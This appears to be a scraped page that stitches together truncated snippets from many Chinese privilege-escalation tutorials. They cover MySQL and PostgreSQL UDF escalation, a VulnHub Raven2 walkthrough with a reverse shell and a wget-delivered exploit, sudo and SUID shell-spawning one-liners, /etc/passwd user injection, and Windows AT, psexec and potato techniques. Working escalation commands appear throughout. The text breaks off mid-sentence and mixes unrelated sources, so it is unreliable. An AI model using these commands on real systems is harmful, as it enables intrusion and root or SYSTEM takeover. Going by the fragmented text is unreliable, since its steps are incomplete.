mysql之udf提权 前言 UDF简介 UDF (user defined function),即用户自定义函数。...'; 查看存在的udf SELECT * FROM mysql.func; 删除udf DROP FUNCTION metaphon; 提权思路(一) When 在无web脚本执行权限,但是有mysql...root执行的环境下,我们就可以通过into dumpfile函数导入udf.dll进行提权。...有web脚本执行权限时,也可以直接上传udf提权脚本,快速搞定。...总结一下就是需要有mysql的root权限,就可以尝试使用UDF提权 这个第一个思路是针对没有web脚本执行的情况下进行的提权 若不确定是否是root权限可以使用命令查看一下 select * from
遇到了处接管Postgresql,但是........我tm竟然没有用他来提权。后来经大哥提醒才知道这里可以利用UDF进行提权。遂为了下一次不再翻车,写下这篇笔记。...图片0x01正文--------第一步,先查看一下postgresql的版本select version();图片这里就知道了postgresql的版本是10.7接下来需要去官网下载对应环境的源码,然后编译它...fPIC -o lib\_postgresqludf\_sys.sostrip -sx lib\_postgresqludf\_sys.so图片接下来输出.so文件的十六进制并利用postgresql_udf_help...生成分片后的sql语句cat lib\_postgresqludf\_sys.so | xxd -ps | tr -d "\n" > 1.txtpython2 postgresql\_udf\_help.py...text AS '/tmp/testeval.so', 'sys\_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;图片最后尝试执行命令,成功提权图片
MySQL提权 〇、Mysql提权的必备条件 Mysql的服务没有降权,并且需要获取Mysql root账号密码 使用net user命令查看系统当前帐号,如果出现Mysql这类用户,则系统可能进行了降权...提权 0、原理 UDF:用户自定义函数、通过添加新函数、对mysql进行功能扩充 官方定义:UDF是mysql的一个拓展接口,UDF(Userdefined function)可翻译为用户自定义函数,这个是用来拓展...的值为空时不可提权 当plugin的值为mysql_native_password可通过账户连接提权 3、查看系统架构以及plugin目录 show variables like '%compile%'...使用MSF中的 exploit/multi/mysql/mysql_udf_payload 模块也可以进行UDF提权。...而且也不能使用其他提权等手段。所以,我们现在要做的就是使用UDF进行提权。
这次通过VulnHUB靶场的Raven2来演示Mysql UDF提权,靶机地址: https://www.vulnhub.com/entry/raven-2,269/ 下载完靶机后直接安装并运行靶机...:/var/www/html/wordpress下的wp-config.php中找到密码 ok,接下来登录数据库,查看版本,是否进行udf提权 尝试UDF提权之前,先获取plugin路径 show variables...like "%plugin%"; 然后直接复制msf中udf提权脚本出来,安照脚本中的注释说明,按步骤生成’.so‘文件后上传至目标机plugin路径下 这是在线msf脚本地址: https://www.exploit-db.com.../exploits/1518 进入数据库后,按照提权脚本中接下来的步骤继续操作,以下是我用到的命令 use mysql; show tables; # 查找myslq plugin的路径 show...接下来我们就可以使用find来执行任何命令了 可以看见,通过find命令来执行的所有命令权限都为root权限,提权成功。然后很顺利的就找到了flag,这里有个小知识点,’find .
先nmap扫一下存活端口 可以发现有22,80,111这几个端口 首先从web下手,dirb扫一下目录可以知道是个wp站点 并且发现/vendor目录存在目录遍历 在/vendor/PATH目录下发现...以及其绝对路径 在/vendor/VERSION目录下得知PHPMailer版本号5.2.16 在kali中搜索phpmailer可以发现有个PHPMailer<5.2.18-远程命令执行 修改一下直接打...然后访问shell.php,并设置端口监听 成功反弹shell后找到wp的配置文件,发现数据库的账号密码:root/R@v3nSecurity 并且可以看到mysql服务启动了 nc模式下的shell...后,可以看到是mysql5.5.60 接着我们尝试使用udf提权,搜一下可以看到一个可利用的 然后我们将1518.c本地编译一下再上传 开启web服务 然后wget传进去1518.so 上传成功后...soname '1518.so'; select * from mysql.func; select do_system('chmod u+s /usr/bin/find'); 最后提权后得到flag4
1、内核提权 内核漏洞提权方法 1、收集内核版本信息 uname -a #查看主机的内核信息 uname -m #查看系统内核架构(64位/32位)...1、查看 PATH 环境变量的内容: echo $PATH 默认情况下你会看到如下输出: /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin...3、明文root密码提权 利用/etc/passwd 、/etc/shadow 配置文件进行提权,主要是因为配置不当造成的提权。passwd是全用户可读,root可写的。...4、Linux提权工具 https://github.com/jidongdeatao/LinuxTest 针对Linux操作系统的安全测试自动化工具(用于接口认证、鉴权、资产发现(端口扫描)、MySQL...GTFOBins: 一个数据库,列出了可以用于提权的Linux二进制文件 Traitor: 一个自动化提权工具,可以利用sudo权限、docker配置不当等漏洞进行提权
#include <windows.h> bool AdjustPrivileges() { HANDLE hToken = NULL; TO...
以后的版本中,存在于‘mysql/lib/plugin’目录下,文件后缀为‘.dll’,常用c语言编写 UDF提权原理 用户可以自定义提权的函数(比如执行系统命令)来进行提权。...UDF提权条件 1.Mysql版本大于5.1时,udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。...2.Mysql版本小于5.1版本时,udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\system32。.../LinEnum.sh 9.利用UDF提权,先找到exp文件(/usr/share/exploitdb/exploits/linux/local/1518.c) 10.编译exp gcc -g -c 1518...13.提权 先选择一个数据库 mysql> use wordpress Reading table information for completion of table and column
提权就是一个低权限向高权限转化的过程 基于之前的文章,我们获取了一个低权限账户,现在朝着高权限进发 我们现在既然有了低权限账号密码,那么我们就可以登陆3389等远程服务,从而使用一些本地提权的方法 在开始提权之前...,我们还是需要先了解一下各个操作系统之间的权限分配 Windows User Administrator System 之前在第一期培训时候我说错了一个观点就是说...这个方法相对来说有些古老,之前我在一些技术书籍中还能看到 at 命令提权的原理是at 命令是一个计划命令,可以在规定时间完成一些操作,这个命令调用的是system权限 Win2003 & XP中还是存在的...可以看到我们的权限已经是system了 这个是本地提权,我们看看能不能远程提权(3389属于本地提权了哈) 远程提权需要反弹一个system的shell,我们以nc为例 首先我们用echo命令吧需要执行的命令写入到批处理中...,之后定时执行批处理文件 最好把文件写入到没有空格的路径下,我把nc已经拷贝到c盘根目录了 ?
可以看到有147个小工具 psexec 这个工具可以以System账号执行一个程序 适合于本地提权 psexec -i -s cmd -i 使用交互模式运行程序 -s 使用SYSTEM账号来运行 ?...可以看到本地提权成功! 下面我来尝试远程提权,如果能够反弹一个System权限的nc连接,就算成功 ? 这个是拿XP做的实验,现在我们拿win10来测试一下 ?
今天给大家带来的是linux下的提权技巧。SUID是Linux的一种权限机制,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。...如果拥有SUID权限,那么就可以利用系统中的二进制文件和工具来进行root提权。...已知的可用来提权的linux可行性的文件列表如下: Nmap Vim find Bash More Less Nano cp 以下命令可以发现系统上运行的所有SUID可执行文件。...提权至Root权限 也可以通过Metasploit模块对Nmap的二进制文件进行权限提升。...Bash - Root权限 Less Less和More都执行以用来提权。 less /etc/passwd !/bin/sh more /home/pelle/myfile !
ash也是一种shell,占用资源很少的,管理员可能开启 sudo ash awk是一个强大的文本分析工具 sudo awk 'BEGIN {system("/bin/sh")}' 使用这个命令可以直接提权到...root bash提权 bash sudo bash csh同样是一种shell sudo csh curl 提权 sudo curl file:///etc/shadow dash 一些小型设备可能安装.../bin/sh env查询环境变量,可以查询环境变量的时候执行一下bin/sh文件 sodu env /bin/sh expect自动化交互套件,执行程序的时候可以交互 sudo expect -c.../bin/sh sudo man man man命令的详细解释 man命令是Linux下的帮助指令,执行两次出现问题后输入下面的代码读取使用bin/sh !...sudo perl -e 'exec "/bin/sh";' tclsh 脚本语言 sudo tclsh exec /bin/sh @stdout 2>@stderr git 提权
渗透场景当我们获得了某个Linux服务器的低权限之后,我们想要对该低权限账号进行提权,以执行更多的操作,而在提权过程中发现当前用户具有/etc/passwd文件的写权限,此时我们可以写一个用户进去完成提权...基础知识用户分类在Linux下,用户分为三类:超级用户(root)、普通用户、程序用户超级用户:UID=0 程序用户:Rhel5/6,UID=1-499; Rhel7,UID=1-999 普通用户:Rhel5...提权流程确定可写首先查看/etc/passwd 的权限,发现任何用户都可以对/etc/passwd文件进行读写操作:ls -lh /etc/passwd写入用户接下来要做的就是自己构造一个用户,在密码占位符处指定密码
提权类别 本地提权 配置提权 漏洞提权 本地提权 1.AT命令提权 首先以administrator身份打开cmd ?...漏洞提权 烂土豆提权 属于令牌提权 限制条件 需要支持SeImpersonate或者SeAssignPrimaryToken权限 开启DCOM 本地支持RPC或者远程服务器支持PRC并能成功登录 能够找到可用的.../proc:下多为系统启动的程序,一般不会有普通用户有可执行权限的程序 2.在目标文件里添加脚本 如第一步找到了usr文件下的123.sh符合条件 即 /usr/123. sh 就在123.sh里添加...数据库提权 1.my sql提权 ①.udf提权 1、知道root账号密码 2、win2000,2003系统 3、需要secure_file_priv函数打开 利用自定义函数功能,将mysql账号换为系统...system权限 ②.mof提权 1、win2003 以下版本 2、secure_file_priv参数不为null ③.反弹shell提权 2.Sql server提权 ①、有sa权限 ②、有dba
Windows 下的提权大合集 项目地址:https://github.com/lyshark/Windows-exploits ? ? ? ?...Windows平台提权漏洞集合 项目地址:https://github.com/SecWiki/windows-kernel-exploits ?...各大平台提权工具 项目地址:https://github.com/klsfct/getshell ?...Windwos辅助提权脚本 项目地址:https://github.com/ianxtianxt/win-exp- ?...Webshell下提权执行命令 项目地址:https://github.com/uknowsec/getSystem ? 喜欢请记得点个Star ?
利用mysql的几种提权方式 mof提权 1.原理 在windows平台下,c:/windows/system32/wbem/mof/nullevt.mof这个文件会每间隔一段时间(很短暂)就会以system...但是网上很多资料都提到win2003很容易利用,而更高版本的就很难成功了,所以大家遇到win2003可以试一下这种提权方式 udf提权 1.原理 UDF提权是利用MYSQL的自定义函数功能,将MYSQL...Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\system32。...是不是感觉挺麻烦的,首先找dll文件就是一个问题,其实这个dll文件完全可以从带有udf提权功能的大马的源码中去找。当然我们也可以利用别人写好的工具,网络上有很多关于udf提权的利用脚本。...注:udf提权也是一般应用于win2000、win2003系统 mysql反弹shell提权 其实这也属于udf提权,只不过应用场景不同,比如现在我们没有webshell但是我们却有偶然得到了mysql
前提 什么时候用数据库提权????在得到WebShell且没有办法通过其他办法提权的前提下,我们考虑用数据库来进行提权。数据库提权的前提条件: 1、数据库的用户名和密码,且是高权限的用户!...> | +------------------------------+ 1 row in set (0.00 sec) mysql> 查看日志文件: 通过数据库来提升权限 UDF提权 UDF(user-defined...接下来的操作: 搞一个动态链接库,这个动态链接库可以提权 将这个动态链接库上传到plugin_dir 通过这个动态连接库来创建函数 执行系统命令 可以提权动态链接库 我们可以使用sqlmap中里的UDF...在sqlmap-master\extra\cloak路径下 python cloak.py -d -i C:\Python\Python310\sqlmap-master\data\udf\mysql\...mysql.func; Empty set (0.00 sec) MOF提权 现在通过mof文件来进行提权已经非常困难了,因为它支持提权版本只有2003和一些之前的版本。
useradd test_dora 3、切换用户,并查看用户权限与系统版本内核版本 su test_dora id cat /etc/shadow uname -an lsb_release -a 二、suid提权...gcc -w -fPIC -shared -o /tmp/test_dora/testpayload.c LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3 id 三、脏牛提权
bash"); return 0; }' > /tmp/test/suid-shell.c 编译: gcc /tmp/test/suid-shell.c -o / tmp / 1 / suid-shel 赋权:...好的,我们回到要提权的服务器上 cd / tmp ./suid-shell ? 可以看到是ROOT权限了
RogueWinRM是一种新型的提权方法,原理在https://decoder.cloud/2019/12/06/we-thought-they-were-potatoes-but-they-were-beans...在这种情况下,notepad.exe作为SYSTEM启动。 然后,它将shellcode写入进程。 漏洞利用: 首先先获得一个简单的msf会话: ?...然后使用该模块进行提权(BITS与WinRm服务必须处于关闭状态) ? 此时我们便获得了一个system的shell: ?...Cobaltstrike操作 之前有讲过Cs的提权武器化,感兴趣的可以转到:使用ReflectiveDLLInjection武装你的CobaltStrike 本来准备像之前一样弄成反射dll,结果发现并不通用...,因为exp自带了-p参数,这里我们直接-p提权即可。
领取专属 10元无门槛券
手把手带您无忧上云